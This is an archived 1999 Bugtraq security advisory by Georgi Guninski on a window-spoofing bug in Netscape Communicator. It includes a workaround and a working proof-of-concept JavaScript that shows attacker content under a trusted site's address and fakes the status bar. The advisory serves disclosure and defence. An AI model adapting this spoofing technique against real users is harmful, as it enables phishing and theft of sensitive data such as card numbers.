home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / Textfiles / zines / Happle / happle10.sit.hqx / Happle#10 / Files / Denial.sit / DoS / netscape.window.spoof.txt < prev    next >
Internet Message Format  |  1999-02-19  |  2KB

  1. Date: Tue, 16 Feb 1999 09:46:05 PST
  2. From: Georgi Guninski <guninski@HOTMAIL.COM>
  3. To: BUGTRAQ@netspace.org
  4. Subject: Netscape Communicator window spoofing bug
  5.  
  6. There is a bug in Netscape Communicator 3.04,4.06,4.5 Win95 and 4.08 WinNT,
  7. which allows "window spoofing". After visiting a hostile page (or clicking 
  8. a hostile link) a window is opened and its location is a trusted site. 
  9. However, the content of the window is not that of the original site,
  10. but it is supplied by the owner of the page. So, the user is misled he
  11. is browising a trusted site, while he is browsing a hostile page and may 
  12. provide sensitive information, such as credit card number. 
  13. The bug may be exploited using HTML mail message.
  14. It needs Javascript enabled.
  15.  
  16. Workaround: Disable Javascript
  17.  
  18. Demonstration is available at:
  19.  http://www.nat.bg/~joro/b14.html
  20.  http://www.whitehats.com/guninski/b14.html
  21.  
  22. This bug is different from the "frame spoofing vulnerability"
  23.  
  24. The code is:
  25. -------------------------------
  26. <SCRIPT>
  27.  
  28. function doit()
  29. {
  30.  
  31. a.document.open();
  32. a.document.write("<H1>Look at the location bar!<BR>");
  33. a.document.write("<A HREF='http://www.whitehats.com/guninski'>Go to Georgi Guninski's home page</A></H1>");
  34. a.document.close();
  35. }
  36.  
  37. function winopen() {
  38.  
  39. //You may try also:
  40. //a=window.open("view-source:javascript:location='wysiwyg://1/http://www.yahoo.com';");
  41.  
  42. a=window.open("view-source:javascript:location='http://www.yahoo.com';");
  43.  
  44. setTimeout('doit()',30000);
  45. }
  46.  
  47. </SCRIPT>
  48.  
  49. <BR>
  50.  
  51. <A HREF="javascript:void(0)" onclick="winopen()" onMouseOver="window.status='http://www.yahoo.com';return true">
  52. Follow this link to go to www.yahoo.com (or somewhere else)
  53. </A>
  54. -------------------------------
  55.  
  56. Note: My web page has moved. Look below for the new URLs.
  57.  
  58. Regards,
  59. Georgi Guninski
  60. http://www.nat.bg/~joro
  61. http://www.whitehats.com/guninski
  62.  
  63.